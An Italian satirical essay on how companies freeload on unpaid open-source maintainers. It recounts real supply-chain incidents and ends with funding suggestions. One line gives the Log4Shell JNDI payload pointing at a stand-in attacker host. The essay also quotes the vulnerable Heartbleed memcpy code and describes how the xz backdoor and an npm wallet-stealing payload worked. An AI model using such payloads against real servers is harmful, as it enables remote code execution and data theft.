Manuale del perfetto scroccone: l'open source visto da chi lo mantiene (gratis)

Lunedì 8 settembre, sera. Hai la cena nel piatto e il telefono in mano, e non riesci a smettere di scorrere. Nel primo pomeriggio qualcuno ha pubblicato su npm versioni avvelenate di chalk e debug: una libreria che colora il testo nel terminale e una che stampa messaggi di log. Insieme agli altri pacchetti compromessi fanno oltre due miliardi di download a settimana. Dietro c'era una persona sola, con una casella di posta. È bastata una mail di phishing.

Il motivo per cui la cena si sta raffreddando è che anche tu sei una persona sola con una casella di posta. Nel 2014, su un regionale in ritardo, hai scritto gnocco: trecento righe di JavaScript che capiscono le date scritte all'italiana, tipo «lunedì prossimo» o «fine mese». Lo hai pubblicato per gioco. Oggi lo installa, senza saperlo, mezzo ecosistema: entra come dipendenza di una dipendenza di un framework famoso, e fa quaranta milioni di download a settimana. Su GitHub Sponsors hai tre sostenitori, per un totale di 11 dollari al mese. Uno dei tre è tua madre.

Verso le dieci arriva una mail da un ex collega che adesso lavora nell'azienda del Dott. Brambilla, quella dove ogni riunione ha bisogno dei sottotitoli. Dentro c'è un PDF intitolato Linee guida per l'utilizzo del software open source — riservato, e una sola riga di commento: «Parlano di te.»

Lo apri. In copertina, sotto il titolo ufficiale, qualcuno ha scritto a mano quello vero: Manuale del perfetto scroccone. Sono sette regole. Pagina dopo pagina ti accorgi che non sono teoria: ognuna è già stata collaudata, e i collaudi hanno nomi che conosci benissimo.

Regola 1 — Non sapere cosa usi

«Il dipartimento non è tenuto a censire le componenti open source di terze parti. Ciò che non è censito non genera obblighi.»

Ecco perché nessuno ti ha mai scritto per ringraziarti: non sanno di usarti. Lo sa solo la signora di Treviso che, il mese scorso, ha trovato il tuo nome nella schermata delle licenze del navigatore della sua auto e ti ha chiesto perché il Bluetooth non si collega. A Daniel Stenberg, autore di curl, capita da anni: il suo indirizzo email compare nelle note di licenza di miliardi di dispositivi, e la gente gli scrive per le auto, le TV, gli account Instagram rubati.

Eppure basterebbero dieci secondi. Se qualcuno, nell'azienda di Brambilla, lanciasse questi comandi sul proprio progetto, ti troverebbe subito:

# quante dipendenze ha davvero il progetto, transitive comprese?
$ npm ls --all --parseable | sort -u | wc -l

# chi è che tira dentro gnocco?
$ npm ls gnocco

# stesso esercizio in Python, Rust e Go
$ pipdeptree --warn silence | wc -l
$ cargo tree --prefix none | sort -u | wc -l
$ go list -m all | wc -l

Il numero che esce è sempre più alto di quello che il loro CTO direbbe a voce, di solito di uno o due ordini di grandezza. Un'applicazione web dichiara una ventina di dipendenze nel package.json e ne installa qualche centinaio. L'inventario formale, la SBOM (Software Bill of Materials), si genera con un comando:

$ syft dir:. -o cyclonedx-json > sbom.json
$ jq -r '.components[] | "\(.name)@\(.version)"' sbom.json | grep gnocco

Il manuale però è chiaro: la SBOM si genera solo se la chiede un cliente, e poi si archivia in una cartella compliance/ che nessuno apre. Lì dentro, alla riga 612, ci sei tu.

Regola 2 — Tratta il volontario come un fornitore con SLA

«In caso di vulnerabilità, il fornitore open source va sollecitato con richieste formali e scadenze stringenti.»

Il fornitore saresti tu. Non hai un contratto, non hai uno SLA, e la licenza MIT che hai scelto dice testualmente che il software è fornito «AS IS», senza alcuna garanzia. Ma lo sai già, perché due anni fa, quando qualcuno ha trovato un bug nel parsing di «dopodomani», ti è arrivata una mail da un indirizzo @ dell'azienda di Brambilla: «Gentile fornitore, si richiede entro 24 ore una valutazione d'impatto e una data di rilascio della correzione.» Era sabato. Eri a un matrimonio.

Anche qui, non sei il primo. Dicembre 2021, Log4Shell (CVE-2021-44228, CVSS 10). Log4j 2 interpretava i lookup anche dentro i messaggi da loggare, quindi bastava far finire nei log una stringa come questa, in uno User-Agent, in un campo username o nel nome di un iPhone, perché il server scaricasse ed eseguisse una classe Java remota via JNDI:

${jndi:ldap://attaccante.example/a}

Mezzo pianeta era vulnerabile. I maintainer di Log4j, volontari, hanno passato settimane a rilasciare patch su patch (2.15.0, 2.16.0, 2.17.0, perché le prime correzioni non bastavano), mentre aziende che fatturano miliardi, e che fino al giorno prima non sapevano di usare Log4j, si lamentavano della lentezza.

A gennaio 2022 Stenberg ha ricevuto da un'azienda della Fortune 500 una mail che chiedeva, entro 24 ore, una serie di risposte sull'esposizione di curl a Log4j. curl è scritto in C, non usa Java, e quell'azienda non aveva alcun contratto con il progetto. Stenberg ha pubblicato la mail e ha risposto che avrebbe risposto volentieri, con un contratto di supporto. Non risulta che l'abbiano firmato.

E ad aprile 2024 è emersa la storia di un ingegnere di Microsoft Teams che ha aperto sul bug tracker di FFmpeg un ticket marcato high priority per un problema del loro prodotto. Quando gli sviluppatori hanno suggerito un contratto di supporto, è arrivata l'offerta: un pagamento una tantum di qualche migliaio di dollari. Teams ha centinaia di milioni di utenti. FFmpeg decodifica buona parte dei video che hai visto oggi.

Regola 3 — Il valore tienilo tu, il rischio lascialo a lui

«Il valore generato dalle componenti open source va contabilizzato come efficienza interna. I rischi restano in capo alla comunità.»

Fai due conti con i tuoi 11 dollari al mese. A Harvard li hanno fatti in grande (Hoffmann, Nagle e Zhou, The Value of Open Source Software, 2024): riscrivere da zero l'open source più usato costerebbe circa 4,15 miliardi di dollari, ma il valore che genera per chi lo usa è stimato in 8.800 miliardi. Senza, le aziende spenderebbero in software circa 3,5 volte di più. E il 96% di quel valore viene dal lavoro del 5% degli sviluppatori. Tu sei in quel 5%. Secondo i sondaggi di Tidelift, sei maintainer su dieci sono come te: non pagati affatto.

Il caso di scuola è Heartbleed (CVE-2014-0160). L'estensione heartbeat di TLS funziona come un ping: il client manda un payload e dichiara quanto è lungo, il server glielo rimanda indietro. OpenSSL si fidava della lunghezza dichiarata:

/* semplificato da ssl/t1_lib.c, OpenSSL 1.0.1 */
n2s(p, payload);          /* lunghezza dichiarata dal client: fino a 65535 */
pl = p;                   /* il payload vero può essere di 1 byte */
buffer = OPENSSL_malloc(1 + 2 + payload + padding);
memcpy(bp, pl, payload);  /* copia fino a 64 KB di heap del server */

Un attaccante poteva leggere fino a 64 KB di memoria per richiesta, all'infinito e senza lasciare traccia nei log: chiavi private, cookie di sessione, password. Una fetta enorme dei server HTTPS del pianeta usava OpenSSL. Il progetto riceveva circa 2.000 dollari l'anno di donazioni e aveva un solo sviluppatore a tempo pieno. Steve Marquess, che ne curava la parte economica, scrisse che il mistero non era che pochi volontari oberati di lavoro si fossero persi quel bug, ma che non succedesse più spesso.

Dopo Heartbleed i grandi nomi hanno messo soldi nella Core Infrastructure Initiative della Linux Foundation. Il dettaglio da manuale è il quando: dopo. Lo scroccone non paga la manutenzione del ponte. Paga il funerale, e ci scrive sopra un comunicato stampa.

Regola 4 — Se il maintainer è stanco, lascia che lo aiuti uno sconosciuto

«Non è compito del dipartimento verificare chi mantiene le componenti utilizzate.»

Questa pagina ti fa venire freddo, perché la stanchezza la conosci. Le issue si accumulano, rispondi la sera tardi, e da qualche mese c'è un contributor gentilissimo, dev-gentile-93, che sistema i test, risponde alle issue al posto tuo e ogni tanto ti propone: «Se vuoi, posso darti una mano con le release.» Contemporaneamente due account mai visti prima commentano che il progetto è morto e che dovresti passare la mano. Forse è tutto in buona fede. Forse no. Il problema è che non hai nessun modo per saperlo.

Lasse Collin, unico maintainer di xz-utils, la libreria di compressione che finisce in ogni distribuzione Linux, nel 2022 scriveva sulla mailing list di avere poco tempo, anche per problemi di salute mentale di lunga durata. Intanto alcuni account sconosciuti (Jigar Kumar, Dennis Ens) tempestavano la mailing list: le patch sono lente, il progetto è morto, cedi il controllo. E chi si offriva di aiutare? Un contributor instancabile, Jia Tan, che in un paio d'anni è diventato co-maintainer.

A inizio 2024 Jia Tan pubblica xz 5.6.0 e 5.6.1 con una backdoor costruita con la pazienza di un orologiaio:

• il codice malevolo non era nel repository git, ma solo nei tarball di release, dentro una versione modificata di m4/build-to-host.m4: il tipo di file generato automaticamente che nessuno rilegge;
• il payload stava in due file binari "di test", bad-3-corrupt_lzma2.xz e good-large_compressed.lzma, che venivano estratti e decodificati durante il build solo su x86-64 con glibc, e solo se si stava costruendo un pacchetto deb o rpm;
• a runtime, un resolver IFUNC di glibc agganciava RSA_public_decrypt dentro sshd, e chi possedeva una certa chiave Ed448 poteva eseguire comandi sul server prima dell'autenticazione.

Ma sshd non usa liblzma, dirai. Infatti: Debian e Fedora patchano OpenSSH perché notifichi systemd con sd_notify(), e lo fanno linkando libsystemd, che si porta dietro liblzma. Il controllo che tutti hanno lanciato quel weekend:

$ ldd /usr/sbin/sshd | grep -E 'liblzma|libsystemd'
$ xz --version    # 5.6.0 o 5.6.1? aggiorna, subito

A scoprirla non è stato un processo, né un audit, né uno strumento di supply chain security da sei cifre l'anno. Andres Freund, che sviluppa PostgreSQL e lavora in Microsoft, stava facendo benchmark su Debian unstable e ha notato che i login SSH consumavano troppa CPU, circa mezzo secondo in più, mentre valgrind segnalava errori strani. Ha tirato il filo. Era il 29 marzo 2024, e quelle versioni stavano per entrare nelle release stabili di mezzo mondo. La sicurezza di internet, quel giorno, dipendeva dalla pignoleria di una singola persona sui microbenchmark.

Il precedente c'era già: nel 2018 il maintainer di event-stream, stanco, aveva ceduto il pacchetto npm a uno sconosciuto che si era offerto di aiutare. Il nuovo arrivato aggiunse una dipendenza, flatmap-stream, che cercava di rubare i bitcoin degli utenti del wallet Copay. Chiudi il PDF un attimo e vai a guardare da quanto tempo dev-gentile-93 esiste su GitHub.

Regola 5 — La sicurezza del maintainer è un problema del maintainer

«Le misure di sicurezza degli account dei manutentori esterni non rientrano nel perimetro aziendale.»

Torni alla mail di questa mattina, quella che hai archiviato senza aprirla perché eri in treno senza campo. Mittente: support@npmjs.help. Oggetto: aggiorna la configurazione 2FA, altrimenti l'account verrà bloccato. È la stessa che ha ricevuto Josh Junon (qix), che mantiene chalk, debug, ansi-styles, strip-ansi e una manciata di altri mattoncini dell'ecosistema. Dominio registrato da poco, grafica identica all'originale. La pagina di phishing faceva da proxy verso il vero npm e raccoglieva utente, password e codice TOTP. Poco dopo, gli attaccanti pubblicavano nuove versioni dei suoi pacchetti.

Il payload non aveva bisogno di script postinstall. Viaggiava dentro il codice della libreria e si attivava nel browser, nei bundle dei siti che l'avessero incluso. Agganciava fetch, XMLHttpRequest e le API dei wallet (window.ethereum) e sostituiva gli indirizzi di criptovalute con indirizzi dell'attaccante scelti per somigliare il più possibile all'originale, con la minima distanza di Levenshtein, così da passare un controllo a occhio.

Le versioni malevole sono rimaste online un paio d'ore, grazie ai ricercatori che le hanno segnalate e a qix, che ha ammesso subito l'accaduto. Il bottino, stando alle prime analisi on-chain, è quasi comico. Ma il punto non è il bottino: la sicurezza di due miliardi di download settimanali coincideva con l'attenzione di una persona davanti alla sua casella di posta, in una mattina qualunque. Oggi è toccato a qix. Avrebbe potuto essere la tua mattina.

Due settimane fa, con nx, era andata anche peggio: versioni malevole con uno script postinstall che rubava token GitHub e npm, chiavi SSH e wallet, e usava perfino le CLI degli assistenti AI installate sulla macchina per farsi aiutare a cercare segreti nel filesystem. Il bottino finiva in repository pubblici sull'account GitHub della vittima.

Sai già cosa diranno domani i blog delle aziende: «I maintainer dovrebbero usare chiavi hardware.» Giusto. Una chiave FIDO2 resiste al phishing perché firma la challenge legandola al dominio, e su npmjs.help non avrebbe funzionato. Costa una cinquantina di euro, che dovresti tirare fuori tu. npm ha appena reso disponibile il trusted publishing via OIDC, che elimina i token di pubblicazione a lunga durata: richiede però di rifare la pipeline di rilascio. Indovina con il tempo di chi.

Regola 6 — Se il maintainer si ribella, forka

«In caso di condotta non collaborativa del manutentore, valutare il fork del componente.»

Per un attimo, lo ammetti, ci hai pensato: un README con scritto «Da oggi, chi lo usa in un prodotto commerciale paga». Poi ti ricordi com'è andata agli altri.

left-pad, 2016: undici righe di JavaScript per aggiungere spazi a sinistra di una stringa. Chi l'aveva scritto, dopo una disputa sul nome di un altro pacchetto, ritirò tutti i propri moduli da npm, e per qualche ora mezzo ecosistema, Babel e React compresi, smise di compilare. npm reagì cambiando le regole: da allora non puoi più ritirare un pacchetto da cui dipendono altri. Il codice è tuo, ma non puoi riprendertelo.

Marak Squires, autore di colors e faker, nel 2020 scrisse «No more free work from Marak. Pay me or fork this». La risposta fu un'alzata di spalle. A gennaio 2022 pubblicò una versione di colors che entrava in un ciclo infinito stampando «LIBERTY LIBERTY LIBERTY» in caratteri zalgo, rompendo migliaia di build. Reazione dell'industria: indignazione, account GitHub sospeso, articoli sul rischio della supply chain. Nessuno si è chiesto perché una libreria scaricata decine di milioni di volte a settimana non avesse un solo sostenitore pagante.

Quando a ribellarsi è un'azienda, lo schema diventa più elegante. Elastic nel 2021, HashiCorp nel 2023 e Redis nel 2024 cambiano licenza per impedire che il loro software venga rivenduto come servizio senza contribuire. Risposta: fork in poche settimane. OpenSearch (AWS), OpenTofu (una cordata di aziende che vivevano di Terraform), Valkey (Linux Foundation, con AWS, Google e Oracle tra i sostenitori). Chi non trovava il budget per sostenere il progetto originale trova, in un mese, gli ingegneri per mantenerne una copia. Pagare no, possedere sì. Elastic nel 2024 e Redis quest'anno hanno aggiunto l'AGPL alle licenze disponibili, ma i fork restano. (Che chi ha cambiato licenza fosse una vittima innocente è un'altra favola. Ma questo è un manuale per scrocconi, non un'agiografia.)

Regola 7 — Dichiara pubblicamente il tuo amore per l'open source

«Il dipartimento comunicazione è autorizzato a valorizzare l'impegno aziendale verso l'open source.»

Il tuo Gitea personale, quello dove tieni la documentazione di gnocco, da marzo va giù un giorno sì e uno no. Non sono utenti: sono crawler delle aziende di AI che scaricano ogni commit, ogni blame e ogni diff, ignorano robots.txt e ruotano indirizzi IP residenziali. È successo a SourceHut, GNOME, KDE e altri, con infrastrutture pagate dalle donazioni, e a marzo Drew DeVault ha intitolato un post «Please stop externalizing your costs directly into my face». GNOME ha messo davanti al suo GitLab Anubis, una sfida proof-of-work che fa calcolare al browser hash SHA-256 prima di servire la pagina. Tu hai fatto lo stesso, una domenica intera di configurazione. L'open source che si difende dai propri utenti a colpi di crittografia.

Poi ci sono le segnalazioni di sicurezza generate da un'AI: lunghe, convincenti, piene di funzioni che nel tuo codice non esistono. Ognuna va letta, riprodotta e smontata. A maggio Stenberg ha annunciato che curl banna all'istante chi le invia senza verificarle. E a ottobre, puntuale, arriverà Hacktoberfest: nel 2020 regalava una maglietta a chi apriva quattro pull request, e i maintainer furono sommersi da PR che aggiungevano uno spazio al README, al punto che a evento iniziato la partecipazione divenne opt-in.

Intanto, sul palco di una conferenza, la slide dell'azienda di Brambilla dice We ❤️ Open Source. Il tuo contatore Sponsors dice 11.

L'ultima pagina

In fondo al PDF c'è una pagina che non c'entra niente con le altre. È una scansione di un foglio scritto a mano, con un'altra calligrafia. Qualcuno, dentro l'azienda di Brambilla, prima di te ci aveva provato. Il titolo è Come smettere.

• Scoprite chi chiede soldi. npm fund elenca i link di finanziamento dichiarati dalle vostre dipendenze, raggruppati per pacchetto. Il formato funding.json, introdotto nel 2024 da FLOSS/fund, fa lo stesso per qualunque linguaggio. Servizi come thanks.dev partono dall'albero delle dipendenze e distribuiscono una cifra fissa su tutti i progetti, transitivi compresi.
• Datevi un numero. L'Open Source Pledge propone almeno 2.000 dollari l'anno per ogni sviluppatore in organico. Per un team di cinquanta persone sono 100.000 dollari: meno di uno stipendio senior in molte città, per mettere in sicurezza le fondamenta di tutto il resto.
• Pagate in tempo, non solo in soldi. Mandate le patch upstream invece di tenere fork privati, che pagherete comunque a ogni rebase. Lasciate ai vostri sviluppatori qualche ora a settimana per review, triage e release dei progetti da cui dipendete. Se una libreria è critica per il business, assumete chi la mantiene: è il contratto di supporto più economico che troverete.
• Comprate le chiavi. Letteralmente. Una chiave hardware per ogni maintainer delle dipendenze critiche costa meno della cena aziendale di Natale.
• Leggete il Cyber Resilience Act. Il regolamento europeo, in vigore dal 2024 e pienamente applicabile da dicembre 2027, rende il produttore responsabile della sicurezza dei componenti che integra, open source compreso, e tratta con mano leggera i progetti non commerciali e le fondazioni che li custodiscono. Il rischio scaricato sul volontario sta per tornare a casa vostra. La Germania, con la Sovereign Tech Agency, finanzia direttamente infrastruttura open source dal 2022: i soldi pubblici sono arrivati prima di quelli di chi ci guadagna.

Sotto, una riga in stampatello: Proposta respinta. Motivazione: non è nel budget.

Mezzanotte

Chiudi il PDF. C'è una vignetta di xkcd, la 2347, che rappresenta tutta l'infrastruttura digitale moderna come una torre di mattoni in equilibrio su un mattoncino minuscolo, mantenuto dal 2003 da una persona a caso in Nebraska, senza che nessuno la ringrazi. L'hai condivisa anche tu, ridendo. Stasera ridi meno.

Prima di andare a letto fai tre cose. Aggiungi il campo "funding" al package.json e un file .github/FUNDING.yml, così almeno il tuo nome comparirà quando qualcuno lancerà npm fund. Ordini una chiave FIDO2, con i tuoi soldi. E rispondi alla mail di due anni fa, quella del matrimonio, allegando un preventivo per un contratto di supporto.

La risposta arriva la mattina dopo, firmata dal Dott. Brambilla in persona: «Grazie. Esiste una versione enterprise di gnocco?»

Esiste. È quella in cui qualcuno paga.